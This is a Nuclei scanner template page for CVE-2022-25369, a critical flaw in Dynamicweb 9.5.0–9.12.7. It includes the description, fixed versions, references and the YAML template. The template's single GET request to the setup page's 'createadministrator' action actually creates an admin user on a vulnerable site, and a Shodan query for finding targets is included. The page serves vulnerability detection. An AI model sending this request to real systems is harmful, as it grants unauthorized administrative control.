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Dynamicweb 9.5.0 - 9.12.7 Unauthenticated Admin User Creation

ID: CVE-2022-25369

Severity: critical

Author: pdteam

Tags: cve2022,cve,dynamicweb,rce,unauth

Description

Section titled “Description”

Dynamicweb contains a vulnerability which allows an unauthenticated attacker to create a new administrative user.

YAML Source

Section titled “YAML Source”
id: CVE-2022-25369


info:
  name: Dynamicweb 9.5.0 - 9.12.7 Unauthenticated Admin User Creation
  author: pdteam
  severity: critical
  description: Dynamicweb contains a vulnerability which allows an unauthenticated attacker to create a new administrative user.
  remediation: 'Upgrade to one of the fixed versions or higher: Dynamicweb 9.5.9, 9.6.16, 9.7.8, 9.8.11, 9.9, 9.10.18, 9.12.8, or 9.13.0.'
  reference:
    - https://blog.assetnote.io/2022/02/20/logicflaw-dynamicweb-rce/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25369
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-25369
    cwe-id: CWE-425
  metadata:
    max-request: 1
    shodan-query: http.component:"Dynamicweb"
  tags: cve2022,cve,dynamicweb,rce,unauth


http:
  - method: GET
    path:
      - "{{BaseURL}}/Admin/Access/Setup/Default.aspx?Action=createadministrator&adminusername={{rand_base(6)}}&adminpassword={{rand_base(6)}}&[email protected]&adminname=test"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"Success": true'
          - '"Success":true'
        condition: or


      - type: word
        part: header
        words:
          - 'application/json'
          - 'ASP.NET_SessionId'
        condition: and
        case-insensitive: true


      - type: status
        status:
          - 200
# digest: 4a0a0047304502203053b2d84fdf8b3effb39ab83f95b5f34995f2560e010681cf2cc289f3cb6c93022100d06e03f477b17b87fc45553b75edfb57d433c28e184eb52fe1e0515d7600ef9e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-25369.yaml"

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